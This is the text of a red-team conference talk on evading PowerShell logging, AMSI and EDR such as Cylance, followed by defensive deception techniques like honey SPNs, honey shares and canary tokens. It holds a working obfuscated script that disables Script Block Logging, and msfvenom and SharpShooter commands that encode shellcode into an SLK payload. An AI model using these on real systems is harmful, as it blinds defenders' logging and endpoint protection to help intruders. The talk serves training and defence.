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Red Teamer @ Nettitude

• Do RT / big inf pentesting

• Enjoys AD abuse and using security tooling against 

organisations

• Spoken at GISEC Dubai, SteelCon, BSides Manchester 

• Delivered some RT training in some places

• CCSAS / CCT etc 
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Red Team Context
• Red Team is driven by Threat Intelligence and Detection & Response 

Assessment.

• Without these, it is objective based pentest

• Red Team comes in the later stages of an organisations maturity when 

all the low hanging fruit have been removed.

• The wider activities of the red team – risk reduction, updates, post-

engagement debriefs are as critical as the ‘operating’ part of the 

engagement.



PSv5 - PowerShell Script Block Logging

• PowerShell is allegedly dead?

• Huge increase in visibility for the Blue Team

• But are you actually looking at those logs or relying on EDR alone?

• PowerShell v2 is still installed on a huge number of estates, removing 

all of the AMSI protections

• PowerShell & AMSI is a potent mix for the defender



PSv5 - PowerShell Script Block Logging
$GroupPolicyField = 
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 
'N'+'onPublic,Static')

If ($GroupPolicyField) {

$GroupPolicyCache = $GroupPolicyField.GetValue($null)

If ($GroupPolicyCache['ScriptB'+'lockLogging']) {

$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0

$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0

}

$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()

$val.Add('EnableScriptB'+'lockLogging', 0)

$val.Add('EnableScriptB'+'lockInvocationLogging', 0)

$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB’

+'lockLogging'] = $val

}

https://cobbr.io/ScriptBlock-Logging-Bypass.html

https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407

https://cobbr.io/ScriptBlock-Logging-Bypass.html
https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407


PSv5 - CSharp Entered the Game!

CSharp implant or functionality is available in PoshC2, Cobalt Strike, Covenant

and most of the decent C2 frameworks out there.

AMSI implementation into .Net 4.8 (released April this year) doesn’t have much 

penetration into large corporates yet, and Red Team already have a bypass for it 

which is baked into PoshC2 ☺

The PowerShell AMSI bypass is well known, but Defender works quickly so you 

might need to do some trivial obfuscation to defeat static strings.





PSv5 - CSharp Entered the Game!

Decompile the Core.exe in PoshC2 if you want to see the mechanics of how it works.

• Adjust the memory permissions, 

• Patch the memory address with the AMSI bypass, 

• Change the old permissions back to stop EDRs like Kaspersky.



PSv5 - CSharp Entered the Game!



Process Tree Tracing & Default Rules

https://www.bit9.com/cbfeeds/advancedthreat_feed.xhtml

Big credit to Will Burgess from 

MWR and Casey Smith for their 

initial work on this.

https://www.bit9.com/cbfeeds/advancedthreat_feed.xhtml


PPID Spoofing



PPID Spoofing

Cobalt Strike has the concept of Session Prepping which can be 
transferred to other C2 frameworks too.

Prep your target injection process in your MalleableC2 profile but check 
what processes are running on the machine already. 

Situational Awareness of the target is critical to maintaining stealth.

CreateRemoteThread is prohibited by most mature red teams ☺

https://www.endgame.com/blog/technical-blog/ten-process-injection-
techniques-technical-survey-common-and-trending-process

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process


PPID Spoofing



EDR – The Silver Bullet?

Most EDR has some aspect of it’s functionality in userland.  Some couple 

this with kernel mode drivers too.



EDR – Functionality?

EDR makes heavy use of hooking, intercepting API calls and commands to 

examine them, before passing them back to the OS.



EDR – Cylance

Cylance hooks each function and passes it to cymemdef64 using 

ZeCreateThreadEx



Unhooking & Sidestepping – Cylance

Some great research from XPN at MDSec and Kyriakos Economou from Nettitude has 
made trivial bypasses for Cylance possible, as well unhooking the wider AMSI process.

Excel4 Macros are also effective against Cylance installations as there is zero AMSI 
integrations and Excel4 macros work even if Cylance explicitly prohibits macro and 
script executions.

C2 Agnostic Example:

msfvenom -p generic/custom PAYLOADFILE=payload.bin -a x86 --platform 
windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b 
'\x00’

python SharpShooter.py --payload slk --output CRESTCon --rawscfile
./shellcode-encoded.bin

https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/

https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/


Deception and Minefields

• Blue Team know the vital ground for the network

• You know where the Critical Economic Functions are so lay some traps 

for the attackers, you control the battlespace

• Implement some deceptions and take back the initiative and begin 

hunting



Honey SPNs

$SecPassword = ConvertTo-SecureString 'Password_you_want_as_honeySPN' -
AsPlainText -Force

New-ADUser -Name "MSSQL_Confidential" -AccountPassword $SecPassword -
ChangePasswordAtLogon $false -City "Leamington Spa" -Company 
"Nettitude" -Country "UK" -Enabled $true -Department "Service Accounts" 
-Description "Account used for privileged access to confidential data" 
-DisplayName "MSSQL_Confidential" -PasswordNeverExpires $true -
SamAccountName "MSSQL_Confidential" -Path 
"OU=ServiceAccounts,dc=MAC_ACCOUNTS,dc=MAC,dc=local"

• Then alert on a TGS for this user being requested. And alert on the account being 
used - it has a weak password so will be cracked quickly



Honey Shares

Create an attractive share that is easy for the attacker to find but doesn’t feature in

BAU operations, then use a Splunk rule (or similar) to alert on it being accessed.

index=main earliest=-1d sourcetype="wineventlog:security" 
EventCode=5140 Share_Name="\\\\*\\HoneyPath" OR 
Share_Path="\\??\\C:\\Windows\\HoneyPath\\HoneyFolder"



Honey AWS



Honey AWS



Honey AWS Credentials

An error occurred (AccessDenied) when calling the ListUsers operation: User: 
arn:aws:iam::819147034852:user/canarytokens.com@@0bv3ap8flhsi6rtd37k459fa5 is 
not authorized to perform: iam:ListUsers on resource: 
arn:aws:iam::819147034852:user/



Honey HTTP Shortcuts



Deception and Minefields

• Small passwords for 

interesting accounts?

• Honey passwords in memory 

are one character too small 

than the password policy.

• Cleartext passwords on 

Windows 10

• Users that don’t exist in the 

domain



Canary Zip Files

CanaryTokens offer canary zip files that alert when accessed in Windows 

Explorer – they don’t seem to alert when directory is listed via via C2 and 

subsequently downloaded



Deceptions need to look real

Saved Putty sessions in HR machine?

Mapped drives that don’t fit the 

organisations naming policy?

Saved IE credentials but IE doesn’t 

have a shortcut or has never been 

opened?

SQL Developer Connections on a 

Sales machine?



Key Takeaways for your Organisation

• EDR and technology alone will not save your organisation

• Having defence in depth and well exercised playbooks WILL help 

mitigate the breach

• Empower your Blue Team staff to act quickly, even if it causes 

business disruption

• Appropriate segregation REALLY helps but is hard to implement 

without leadership buy-in

• Red teaming comes after several rounds of PT and AD audits
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